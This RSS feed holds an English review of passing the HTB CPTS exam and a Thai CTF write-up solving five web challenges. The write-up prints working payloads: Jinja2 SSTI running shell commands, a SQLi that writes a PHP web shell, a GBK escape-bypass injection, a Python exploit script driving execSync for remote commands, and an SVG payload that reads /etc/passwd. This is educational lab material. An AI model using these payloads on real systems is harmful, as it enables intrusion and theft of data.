<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by d3kc4rt_1 on Medium]]></title>
        <description><![CDATA[Stories by d3kc4rt_1 on Medium]]></description>
        <link>https://medium.com/@pammer434?source=rss-915ede29ab23------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9pLhI-Kq8bqLq1Zqy7ASlw.png</url>
            <title>Stories by d3kc4rt_1 on Medium</title>
            <link>https://medium.com/@pammer434?source=rss-915ede29ab23------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 07:17:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pammer434/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[Passed] Hack The Box Certified Penetration Testing Specialist Exam: 8 Days of Work Review — by…]]></title>
            <link>https://medium.com/@pammer434/passed-hack-the-box-certified-penetration-testing-specialist-exam-8-days-of-work-review-by-126a2f5d6f86?source=rss-915ede29ab23------2</link>
            <guid isPermaLink="false">https://medium.com/p/126a2f5d6f86</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[review]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[d3kc4rt_1]]></dc:creator>
            <pubDate>Tue, 08 Sep 2026 21:40:13 GMT</pubDate>
            <atom:updated>2026-09-08T21:40:13.624Z</atom:updated>
            <content:encoded><![CDATA[<h3>[Passed] Hack The Box Certified Penetration Testing Specialist Exam: 8 Days of Work Review — by d3kc4rt1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*peiVPElEz6mpGkezplpyTQ.png" /></figure><p>I recently passed the Hack The Box Certified Penetration Testing Specialist (CPTS) exam with all 14/14 flags obtained. In this blog, I’ll share my exam experience, and my thoughts about the certification. Hopefully, this can be useful for anyone who is interested in CPTS or currently aiming for the exam.</p><h3>Overview</h3><p>CPTS is a certification from Hack The Box that focuses on practical penetration testing methodology. The exam was designed to simulates a real enterprise penetration test, starting from an external attack surface and progressing into the internal network.</p><p>There are 14 flags in the exam, and requires 85 points to pass, which usually means capturing at least 12 of them. However, CPTS is not only about flags. Test taker also need to write and submit a commercial-grade penetration testing report, which is often one of the most challenging parts of the exam. The total exam time is 10 days.</p><p>What makes CPTS interesting is that Hack The Box requires candidates to complete the Academy learning path before they can take the exam. This may sound strict, but I think it completely makes sense. The exam really tests the methodology built throughout the path, and most of the techniques I used were covered in the course material in one way or another.</p><h3>Before the Exam</h3><p>I did not plan to take the CPTS exam from the beginning. At first, I simply wanted to improve my web penetration testing skills, so I started with the Web Penetration Tester path.</p><p>After finishing that path, I felt that I wanted to go deeper into penetration testing methodology. I had also heard a lot about CPTS and how challenging it was, so I decided to continue with the Penetration Tester path and aim for CPTS instead of taking CWES at that time.</p><p>I spent around three months on the Web Penetration Tester path, four months on the Penetration Tester path, and another two months practicing machines to build confidence and improve my methodology.</p><p>Before taking the exam, I revisited the Attacking Enterprise Networks module because many people said it was one of the closest experiences to the actual CPTS exam, and I treated it like a real assessment by taking detailed notes, capturing evidence, and writing a practice report in SysReptor.</p><h3>Exam Day</h3><h4>First Day</h4><p>I spent some time reading about other candidates’ experiences. One thing I noticed was that many people mentioned the first flag as being difficult, so I decided not to rush myself on the first day.</p><p>I began by carefully reading the instructions, preparing my note-taking structure, and setting up my workflow for evidence collection. I did not expect to get the first flag quickly, and that turned out to be the right mindset. The first flag took me around 12 hours of work.</p><p>After getting the first flag, I felt a huge sense of relief. At that moment, I thought I had already passed the hardest part of the exam, so I decided to stop there for the day and get some rest.</p><h4>Day 2–4</h4><p>My progress was around two flags per day. By day three, I already had five flags and a report that was starting to take shape, so I felt that I was moving at a good pace.</p><p>I struggled with flag 6 for longer than usual, but I eventually managed to solve it. I got flag 7 fairly quickly, but then I reached flag 8. That was when I realized that the first flag was not the hardest one for me. Flag 8 was. I spent the rest of the day stuck on flag 8, but everything I tried kept leading nowhere.</p><h4><strong>Day 5</strong></h4><p>Flag 8 really made me question myself. I had a lot of thoughts going through my head, and this was where I learned the most. It forced me to slow down and trust the evidence. I stepped back, cleared my mind, and tried to look at the problem from a different angle. Eventually, I managed to solve flag eight, and that became a big turning point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*fECPl_wq3e6YpGVOH-Ocsw.png" /><figcaption>100% Accurate</figcaption></figure><p>At that point, I was not sure if I would have enough time to finish everything else. So, I decided to pause report writing for a while and focus on progressing through the environment. Surprisingly, by the end of the day, I managed to get flags nine, ten, and eleven. That gave me my confidence back. I was only one flag away from having enough points to pass, and my report was still in a decent state.</p><h4><strong>Day 6–7</strong></h4><p>On day six, I decided to slow down. I focus on resting, reviewed the methods I had used, cleaned up my notes, and gave myself time to recover.</p><p>Then in day seven, I returned to the exam and managed to get flags twelve and thirteen within half a day. I spent the rest of the day working on the report, and later managed to get the final flag as well.</p><h4><strong>Last Day (Day 8)</strong></h4><p>After reaching 14/14 flags, I took the remaining time to focus completely on the report. I reviewed it multiple times, checked the evidence, cleaned up the wording, and made sure the attack path was clear.</p><p>In the end, I submitted the report right away with two days remaining because I was too exhausted after several days of working 12 to 15 hours, but I also felt confident that I had done my best.</p><h3>After Exam</h3><p>I was surprised by how fast the review process was. Hack The Box states that the review can take up to 20 business days, but I received my email result after only one day passed.</p><p>It was so happy that I managed to pass the exam on my first attempt, This one was definitely the hardest exam I have experienced so far.</p><h3>Conclusion</h3><p>CPTS was a very challenging but rewarding experience. It tested not only my technical skills, but also my methodology, patience, and ability to communicate my work clearly.</p><p>For me, the biggest lesson was that penetration testing is not just about knowing commands or getting shells. It is about understanding what to do, when to do it, why it matters, and how to explain it in a way that others can understand.</p><p>Overall, CPTS helped me become more confident not only as someone who can perform technical testing, but also as someone who can document and present the results professionally.</p><p>And even if you do not plan to take the exam, The learning path itself is still worth going through if you are interested in offensive security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*AEY4lbp4AE1MhCechbR1sA.png" /></figure><h3>My Tips</h3><ul><li>Take time during the learning path. Try to understand the methodology deeply.</li><li>Practice with machines and labs until become comfortable with tools and workflow.</li><li>Take good notes from the beginning.</li><li>Capture command and output as you go &amp; Trust your evidence.</li><li>Practice writing reports before the real exam.</li><li>When get stuck, slow down and go back to enumeration.</li><li>Trust the process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*0x_XR_v_HPaQPymSbrhOQQ.gif" /><figcaption>Me after getting the first flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=126a2f5d6f86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SecPlayground — BloodyXmas 2025 CTF Write-up [Web Application Secuirty] by dekcart_i]]></title>
            <link>https://medium.com/@pammer434/secplayground-bloodyxmas-2025-ctf-write-up-web-application-secuirty-by-dekcart-i-b7665750686f?source=rss-915ede29ab23------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7665750686f</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[secplayground]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[d3kc4rt_1]]></dc:creator>
            <pubDate>Sun, 28 Dec 2025 10:05:55 GMT</pubDate>
            <atom:updated>2025-12-31T04:21:47.823Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>SecPlayground — BloodyXmas 2025 CTF Write-up [Web Application Security] by d3kc4rt_1</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*FoQxVID6inYqRpEGfLlqJw.png" /><figcaption><a href="https://www.facebook.com/secplayground">https://www.facebook.com/secplayground</a></figcaption></figure><p>อีเว้นใหม่มาอีกแล้วครับจาก SecPlayground โดยจากครั้งก่อนของเดือนพฤศจิกายนเพิ่งมีเป็นอีเว้น Hackloween รอบนี้เดือนธันวาคมก็มี BloodyXmas เลยครับ โจทย์มีให้เล่นเยอะมากๆ</p><p>อีเว้นเป็นงานแข่ง CTF 24 ชั่วโมงเต็ม (27 ธันวาคม — 28 ธันวาคม 09.00 ) โดยรอบนี้ผมก็ไม่พลาดตั้งใจมาเก็บหมวดเว็บโดยเฉพาะจะเป็นยังไงไปดูกันครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*xjmaFXlbvIbL07ywZsjIbQ.png" /></figure><h4><strong>Web Application Security</strong></h4><ul><li><strong>1. live_snow (SSTI)</strong></li><li><strong>2. Make SQLi Great Again (SQLi to RCE)</strong></li><li><strong>3. socredit (SQLi)</strong></li><li><strong>4. Infra with React (RCE)</strong></li><li><strong>5. Image Converter Service (LFI)</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*uGGtXS91oAd5gHUa8Q6UXQ.png" /></figure><h4>1. live_snow</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KmWQLjRXmFz0L5KlIG0qDw.png" /><figcaption>Live Snow ❄️⛄</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpvP4DfYhRBM9WyioyR5pw.png" /><figcaption>Target</figcaption></figure><p>ข้อนี้โจทย์จะเซ็ตมาเหมือนเป็น Web Streaming ที่ให้ผู้ใช้กรอกชื่อเพื่อเข้าร่วมห้องไลฟ์และสามารถพูดคุยแชทกับคได้นะครับโดยจาก source code เราจะรุ้ว่าเว็บนี้ใช้ <strong>Flask + Socket.IO</strong> เป็น Backend โดยช่องโหว่ที่เจอของข้อนี้คือในส่วนฟังก์ชันจัดการ<strong> event message</strong> ของ<strong> Socket.IO</strong> ภายใน</p><pre>App.py<br><br>@socketio.on(&#39;message&#39;)<br>def handle_message(data):<br>   message = data.get(&#39;data&#39;, &#39;&#39;)<br>   user = data.get(&#39;user&#39;, &#39;Guest&#39;)<br>   try:<br>       message = jinja2_env.from_string(message).render(user=user)<br>       emit(&#39;response&#39;, {&#39;data&#39;: message, &#39;user&#39;: user}, broadcast=True)</pre><p><strong>จุดที่เป็นปัญหา<br></strong>- ข้อมูล message มาจากผู้ใช้โดยตรง (user-controlled input)<br>- นำไปประมวลผลด้วย jinja2_env.from_string(…).render()<br>- ไม่มีการ sanitize หรือจำกัด syntax ของ template<br>หรือก็คือ Server เอา input ของผู้ใช้ไป render เป็น Jinja2 Template โดยตรง<br>ซึ่งถือเป็น pattern ที่อันตรายมาก ก่อให้เกิดสิ่งที่เรียกว่า <strong>SSTI </strong>หรือ Server-Side Template Injection นั่นเองครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJXF0A8m-uhjlsXy4Th2wg.png" /><figcaption><a href="https://onsecurity.io/article/server-side-template-injection-with-jinja2/">https://onsecurity.io/article/server-side-template-injection-with-jinja2/</a></figcaption></figure><p>เราสามารถพิสูจน์ช่องโหว่นี้โดยการลองใส่ <strong>{{ 7*7 }} </strong>แล้วส่งไปที่ช่องแชท ถ้า Server Response Message เรามาเป็น 49 เราก็จะสามารถยืนยันได้แล้วครับว่าข้อความที่เราส่งไป จะถูก render เป็น Jinja2 Template โดยตรง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*2hzgd4qamYjgqMOURh8kug.png" /><figcaption>ผลลัพธหลังการพิมพ์ {{ 7*7 }} ไปในช่องแชท</figcaption></figure><p>พอยืนยันได้แล้วก็ไล่ <strong>Payload Jinja2 </strong>เพื่อทำ RCE หาดู flag ที่หลังบ้านได้เลยครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*fSrGzF3ktQF23rnAkf4i3A.png" /><figcaption>{{ self.__init__.__globals__.__builtins__.__import__(‘os’).popen(‘id’).read() }}</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*EUmNU7aJfLXugu-1nE8d8A.png" /><figcaption>{{ self.__init__.__globals__.__builtins__.__import__(‘os’).popen(‘cat /flag.txt’’).read() }}</figcaption></figure><blockquote><strong>The flag is : web{sqlDFWQwzZ}</strong></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4><strong>2. Make SQLi Great Again</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p0u15rb_HYjSwN-zas7wJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4tFtakygD0rk5Z85e36RyQ.png" /><figcaption>Target</figcaption></figure><p>ข้อนี้โจทย์บอกตรงๆเลยว่าจะเป็น SQL Injection นะครับ แถมยังใจดีให้ Source code มาดูด้วย</p><pre>Source Code<br><br>make/<br>└── make_sqli_great_again<br>   └── Limit<br>       └── web<br>           ├── Dockerfile<br>           ├── html<br>           │   ├── css<br>           │   │   └── styles.css<br>           │   └── index.php<br>           ├── init.sh<br>           ├── init.sql<br>           └── readflag.c</pre><p>จะเห็นว่าที่หน้าเว็บมีการรับ Parameter เดียวจากเราคือ LIMIT ที่รับผ่าน Method GET โดยเราสามารถยืนยันว่า Parameter นี้เป็นช่อวโหว่ได้จากการใส่อักขระ ‘ “ หรือตัวอักษรแปลกๆเข้าไปแล้วก็พบกับหน้า Error ของ SQL Syntax</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8S7QlyqXFb4Zt-Z85npEA.png" /><figcaption>SQL error</figcaption></figure><p>เมื่อไปดูที่ Source Code ก็เจอว่ามีการนำค่าที่ผู้ใช้ควบคุมได้ ไปใช้ในส่วนของ LIMIT clause โดยไม่มีการตรวจสอบหรือ cast type อย่างเหมาะสม ซึ่งเปิดโอกาสให้เกิด SQL Injection ได้</p><pre>index.php<br><br>$sql = &quot;SELECT * FROM products LIMIT $limit&quot;;<br>$result = mysqli_query($conn, $sql);</pre><p>ในโจทย์นี้ โดยปกตินั้น ปกติ MySQL/MariaDB จะห้ามไม่ให้ใช้คำสั่ง SQL เขียนไฟล์ลงเครื่อง (เพื่อความปลอดภัย) แต่ในไฟล์ <strong>init.sh</strong> ที่โจทย์ให้มาด้วย มีบรรทัดที่เป็นการ อนุญาต ให้ MySQL เขียนไฟล์ลงใน <strong>/var/www/html </strong>ได้ ซึ่งเป็นโฟลเดอร์เดียวกับที่เก็บไฟล์เว็บไซต์ ตรงนี้เลยเป็นช่องโหว่ที่เราอาจจะสามารถแทรก SQLi ต่อจาก LIMIT ให้สร้าง Web Shell ไปที่เว็บไซต์ให้เราเข้าถึงและรัน RCE ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*LmgMDCCWHmYxE_ykcIGZRQ.png" /><figcaption>init.sh</figcaption></figure><p><strong>Final Payload :</strong></p><pre>http://target/?limit=1%20INTO%20OUTFILE%20&#39;/var/www/html/shell.php&#39;%20LINES%20TERMINATED%20BY%20&#39;&lt;?php%20system($_GET[&quot;cmd&quot;]);%20?&gt;&#39;%20--%20-</pre><pre>└─$ curl http://35.240.153.217/shell.php?cmd=id<br>1       Tablet  350.00  Lightweight tablet with long battery lifeuid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><pre>└─$ curl &#39;http://35.240.153.217/shell.php?cmd=/readflag&#39;<br>1       Tablet  350.00  Lightweight tablet with long battery lifeweb{xET2bkoRUR}</pre><blockquote><strong>The flag is : web{xET2bkoRUR}</strong></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —— —</p><h4>3. socredit</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P8zhfH8W05R4fBKrvPS9mg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vf93zpIlJLFiZkxwfAW9yw.png" /><figcaption>-490429564 ❄️</figcaption></figure><p>ข้อนี้ก็ไปจบที่ SQLi เหมือนเดิม คือโจทย์นี้มีการจากการทำงานร่วมกันระหว่างการตั้งค่าภาษาและการป้องกัน SQL<br>- ไฟล์ db.php: มีการสั่ง mysql_query(“SET NAMES gbk”); เพื่อบอก MySQL ว่าจะใช้ภาษาจีน (GBK)<br>- ไฟล์ index.php: รับค่า name และพยายามป้องกัน SQL Injection ด้วยฟังก์ชัน mysql_real_escape_string($name)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*4BPiCDvKYujhB6DbKI8pyQ.png" /></figure><pre>index.php<br><br>$escaped_name = mysql_real_escape_string($name);<br>$stmt = &quot;SELECT score FROM social_credit WHERE name=&#39;$escaped_name&#39;&quot;;</pre><p>จะเห็นว่า มีการใช้ mysql_real_escape_string จะป้องกันอักขระพิเศษเช่น ‘ (single quote) ด้วยการเติม \ (backslash) นำหน้า (กลายเป็น \ ) ทำให้ดูเหมือนจะทำ SQLi ไม่ได้ แต่ว่า เราก็ยังสามารถเจาะมันได้ เนื่องจาก</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*DERtypXNsNuR0CASzAWvZw.png" /><figcaption>Source : Gemini</figcaption></figure><p>และข้อนี้เราไม่ต้องไล่หา Table Flag ครับในไฟล์ source code โจทย์บอกเราตรงๆอยู่แล้ว ที่ init.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*CgyUf62HEWhp9ZqiBy4nKw.png" /><figcaption>init.sh</figcaption></figure><p><strong>Final Payload :</strong></p><pre>%df%27%20UNION%20SELECT%20flag%20FROM%20flags%20%23</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*mF12Hp-v_X1nmBGElKkh-g.png" /></figure><blockquote><strong>The flag is : web{feuIByTKTX}</strong></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4><strong>4. Infra With React</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0uR13q8tjwoWpKbJQlOuw.png" /><figcaption>React? 2 Shell?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhrIUlk5zwKvEW1QihkiBg.png" /><figcaption>Target</figcaption></figure><p>ข้อนี้โจทย์เซ็ตเป็นเหมือนระบบ Monitor System Service ครับโดยมี มี Docs API บอกด่านล่างและมี Source Code แถมมาให้ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_k73ykA3gZiQorgsmbQIw.png" /><figcaption>api docs</figcaption></figure><p>ตรงนี้เราจะเห็น API endpoint ให้เราเล่นอยู่ประมาณ 5 ตัวนะครับ โดยที่มีตัวนึงที่น่าสนใจกว่าเพื่อนคือ /webpack ที่รองรับผ่าน Method POST อย่างเดียว แต่ตัวอื่นๆที่เหลือจะรองรับ Method GET</p><p>ก่อนอื่นโหลด source code ผ่าน API /source มาวิเคราะห์ก็จะไปเจอกับของน่าสงสัยดังต่อไปนี้ครับ</p><ol><li><strong>Modules<br></strong>ที่ฟังก์ชัน initModules มีการ import โมดูลอันตรายของ Node.js รอไว้ในตัวแปร loadedModules ดังนี้ครับ</li></ol><pre>const [reactMod, vmMod, cpMod, fsMod, osMod, pathMod] = await Promise.all([<br>   import(&#39;react&#39;),<br>   import(&#39;vm&#39;),<br>   import(&#39;child_process&#39;), // RCE?<br>   import(&#39;fs&#39;),            // อ่านไฟล์?<br>   import(&#39;os&#39;),<br>   import(&#39;path&#39;)<br> ]);<br><br> loadedModules = {<br>   &#39;react&#39;: reactMod,<br>   &#39;vm&#39;: vmMod,<br>   &#39;child_process&#39;: cpMod, // เรียกใช้ได้ผ่านชื่อ &#39;child_process&#39;<br>   &#39;fs&#39;: fsMod,<br>   &#39;os&#39;: osMod,<br>   &#39;path&#39;: pathMod<br> };</pre><p><strong>2. ยอมให้เรา “เลือกฟังก์ชัน” และ “ใส่ Argument” เองได้</strong></p><pre>async function processServerAction(formData, webpackRequire) {<br> // ... รับค่าจาก FormData<br> const actionData = formData[&#39;$ACTION_0:0&#39;];<br> const actionMeta = JSON.parse(actionData);<br> const moduleId = actionMeta.id;      // &lt;--- เรากำหนดได้<br> const boundArgs = actionMeta.bound || []; // &lt;--- เรากำหนด Argument ได้<br><br> if (moduleId &amp;&amp; moduleId.includes(&#39;#&#39;)) {<br>   const [moduleName, exportName] = moduleId.split(&#39;#&#39;); // แยกชื่อ Module กับชื่อ Function<br>  <br>   const loadedModule = webpackRequire(moduleName); // โหลด Module (ที่เราเล็งไว้คือ child_process)<br>  <br>   if (loadedModule &amp;&amp; loadedModule[exportName]) {<br>     const fn = loadedModule[exportName]; // ดึงฟังก์ชันออกมา (เช่น execSync)<br>    <br>     const boundFn = fn.bind(null, ...boundArgs);<br>     const result = boundFn();<br>    <br>     return {<br>       success: true,<br>       result: typeof result === &#39;string&#39; ? result : JSON.stringify(result)<br>     };<br>   }<br> }<br>}</pre><p><strong>Payload :</strong></p><blockquote>{<br> “id”: “child_process#execSync”,<br> “bound”: [&lt;Command&gt;]<br>}</blockquote><pre>└─$ curl http://34.87.140.195:3000/webpack -H &quot;Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345&quot; \<br>    --data-binary $&#39;------WebKitFormBoundary12345\r\nContent-Disposition: form-data; name=&quot;$ACTION_REF_0&quot;\r\n\r\n1\r\n------WebKitFormBoundary12345\r\nContent-Disposition: form-data; name=&quot;$ACTION_0:0&quot;\r\n\r\n{&quot;id&quot;:&quot;child_process#execSync&quot;,&quot;bound&quot;:[&quot;ls -la&quot;]}\r\n------WebKitFormBoundary12345--\r\n&#39;<br>{&quot;success&quot;:true,&quot;result&quot;:&quot;{\&quot;type\&quot;:\&quot;Buffer\&quot;,\&quot;data\&quot;:[116,111,116,97,108,32,55,50,10,100,114,119,120,114,45,120,114,45,120,32,49,32,97,112,112,117,115,101,114,32,97,112,112,117,115,101,114,32,32,52,48,57,54,32,68,101,99,32,32,53,32,48,56,58,50,48,32,46,10,100,114,119,120,114,45,120,114,45,120,32,49,32,114,111,111,116,32,32,32,32,114,111,111,116,32,32,32,32,32,52,48,57,54,32,68,101,99,32,50,55,32,48,50,58,48,48,32,46,46,10,45,114,119,45,114,45,45,114,45,45,32,49,32,97,112,112,117,115,101,114,32,97,112,112,117,115,101,114,32,32,54,49,52,56,32,68,101,99,32,32,53,32,48,56,58,49,56,32,46,68,83,95,83,116,111,114,101,10,100,114,119,120,114,45,120,114,45,120,32,49,32,97,112,112,117,115,101,114,32,97,112,112,117,115,101,114,32,32,52,48,57,54,32,68,101,99,32,32,53,32,48,56,58,50,48,32,110,111,100,101,95,109,111,100,117,108,101,115,10,45,114,119,45,114,45,45,114,45,45,32,49,32,97,112,112,117,115,101,114,32,97,112,112,117,115,101,114,32,51,56,54,54,51,32,68,101,99,32,32,53,32,48,56,58,50,48,32,112,97,99,107,97,103,101,45,108,111,99,107,46,106,115,111,110,10,45,114,119,45,114,45,45,114,45,45,32,49,32,97,112,112,117,115,101,114,32,97,112,112,117,115,101,114,32,32,32,54,52,49,32,68,101,99,32,32,52,32,48,50,58,50,52,32,112,97,99,107,97,103,101,46,106,115,111,110,10,100,114,119,120,114,45,120,114,45,120,32,49,32,97,112,112,117,115,101,114,32,97,112,112,117,115,101,114,32,32,52,48,57,54,32,68,101,99,32,32,53,32,48,56,58,50,48,32,112,117,98,108,105,99,10,100,114,119,120,114,45,120,114,45,120,32,49,32,97,112,112,117,115,101,114,32,97,112,112,117,115,101,114,32,32,52,48,57,54,32,68,101,99,32,32,53,32,48,56,58,50,48,32,115,114,99,10]}&quot;}</pre><p>พอเอาข้อมูลไปแปลงเราจะเห็นผลลัพธ์ (ตัวอย่าง)<br>total 72<br>drwxr-xr-x…<br>แปลว่าเรายืนยันช่องโหว่นี้ได้แล้ว</p><p><strong>Final Payload (exploit.py) :</strong></p><pre>import requests<br>import json<br>import sys<br># ตั้งค่า URL เป้าหมาย<br>TARGET_URL = &quot;http://target/webpack&quot;<br>def send_command(cmd):<br>   action_data = {<br>       &quot;id&quot;: &quot;child_process#execSync&quot;,<br>       &quot;bound&quot;: [cmd]<br>   }<br>files = {<br>       &#39;$ACTION_REF_0&#39;: (None, &#39;1&#39;),<br>       &#39;$ACTION_0:0&#39;: (None, json.dumps(action_data))<br>   }<br>   try:<br>       print(f&quot;[*] Sending command: {cmd}&quot;)<br>       response = requests.post(TARGET_URL, files=files)<br>      <br>       if response.status_code == 200:<br>           resp_json = response.json()<br>          <br>           if resp_json.get(&quot;success&quot;):<br>               raw_result = resp_json.get(&quot;result&quot;)<br>              <br>               try:<br>                   buffer_data = json.loads(raw_result)<br>                  <br>                   if isinstance(buffer_data, dict) and buffer_data.get(&quot;type&quot;) == &quot;Buffer&quot;:<br>                       byte_data = buffer_data.get(&quot;data&quot;, [])<br>                       output = bytes(byte_data).decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br>                       print(&quot;\n&quot; + &quot;=&quot;*20 + &quot; OUTPUT &quot; + &quot;=&quot;*20)<br>                       print(output)<br>                       print(&quot;=&quot;*48 + &quot;\n&quot;)<br>                   else:<br>                       print(f&quot;\n[+] Result: {raw_result}&quot;)<br>                      <br>               except json.JSONDecodeError:<br>                   print(f&quot;\n[+] Raw Result: {raw_result}&quot;)<br>           else:<br>               print(f&quot;[-] Server returned success: false - {resp_json}&quot;)<br>       else:<br>           print(f&quot;[-] HTTP Error: {response.status_code}&quot;)<br>           print(response.text)<br>   except Exception as e:<br>       print(f&quot;[-] Error: {e}&quot;)<br>if __name__ == &quot;__main__&quot;:<br>   # วิธีใช้: python exploit.py &quot;คำสั่งที่ต้องการ&quot;<br>   command = &quot;ls -la&quot;<br>   if len(sys.argv) &gt; 1:<br>       command = sys.argv[1]</pre><pre>└─$ python exploit.py &quot;id&quot;<br>[*] Sending command: id<br>==================== OUTPUT ====================<br>uid=0(root) gid=0(root) groups=0(root)<br>================================================</pre><p>และ flag อยู่ที่ /tmp</p><pre>└─$ python exploit.py &quot;cat /tmp/flag.txt&quot;<br>[*] Sending command: cat /tmp/flag.txt<br>==================== OUTPUT ====================<br>The flag is web{0fXbOH5N8P}<br>================================================</pre><blockquote><strong>The flag is web{0fXbOH5N8P}</strong></blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>5. Image Converter Service</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*myXjX9_VDZKb-f4y7MAUng.png" /><figcaption>Free Image Converter Service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-baenHdLfgIluXE--hmbVg.png" /><figcaption>Target</figcaption></figure><p>โจทย์ข้อสุดท้าย จะเป็นเว็บ Service ไว้ Convert Image นะครับ โดยดูจากหน้าเว็บจะบอกว่าเขาใช้<strong> ImageMagick </strong>ซึ่งดูจะเป็น Opensource ที่เคยมีประวัติการรายงานช่องโหว่อยุ่เยอะพอสมควร</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2cvrAlz-nHjpCmXPNWr5A.png" /><figcaption><a href="https://www.cvedetails.com/vulnerability-list/vendor_id-1749/imagemagick.html">https://www.cvedetails.com/vulnerability-list/vendor_id-1749/imagemagick.html</a></figcaption></figure><p>ตรงนี้เมื่อดู Source Code ดูจะเห็นว่ามีการเขียน Whitelist และนำไปใช้ชัดเจน ทำให้เราอัพโหลดไฟล์ Webshell ไปตรงๆไม่ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*rQ_OtxyIpYoxM-2VAb4oow.png" /><figcaption>Allow Extension &amp; Output Format</figcaption></figure><p>แต่ก็มีข้อสังเกตุที่เว็บนี้มีการอนุญาตไฟล์ .svg ที่ถ้ามีการจัดการไม่ดีอาจจะเปิดโอกาศให้เราทำพวก XXE / RCE / LFI via SVG ได้</p><p>โดยในเคสนี้ จะสามารถใช้เทคนิค LFI (Local File Inclusion) ผ่านการฝัง Attribute xlink:href ร่วมกับ Wrapper พิเศษของ ImageMagick ที่ชื่อว่า text: เพื่อสั่งให้ Server อ่านไฟล์ในเครื่อง (เช่น /tmp/flag.txt) แล้วนำข้อความนั้นมา <strong>Render เป็นรูปภาพ</strong> ให้เราดาวน์โหลดกลับมาดูได้ครับ</p><p><strong>Payload :</strong></p><pre>&lt;image xlink:href=&quot;text:/etc/passwd&quot; x=&quot;0&quot; y=&quot;0&quot; width=&quot;600&quot; height=&quot;600&quot; /&gt;</pre><p>คำสั่งนี้บอกให้ ImageMagick ไปอ่านไฟล์ข้อความจาก /etc/passwd แล้วเอาข้อความนั้นมาวาดเป็นรูปภาพ ทำให้เราสามารอ่านไฟล์ Local ของเครื่องเป้าหมายได้ ผ่านการแทรกคำสั่งนี้ลงไปใน SVG ได้นั่นเองครับ</p><p><strong>Final Payload :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZjS631Xgw8QnmEYIQYt-w.png" /><figcaption>accept .svg</figcaption></figure><p>หลังจากนั้นก็ดาวโหลดไฟล์ที่ถูก convert แล้วออกมาดูก็จะพบกับ Flag แล้วครับ</p><pre>wget http://target/download/7133d1c5-454a-48a2-a5bf-7575b9a15af4.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*in2e9lDWDuFOUU_1qmE86A.png" /><figcaption>🎊</figcaption></figure><blockquote><strong>The flag is : web{hdJjSeu5UU}</strong></blockquote><p>— — — — 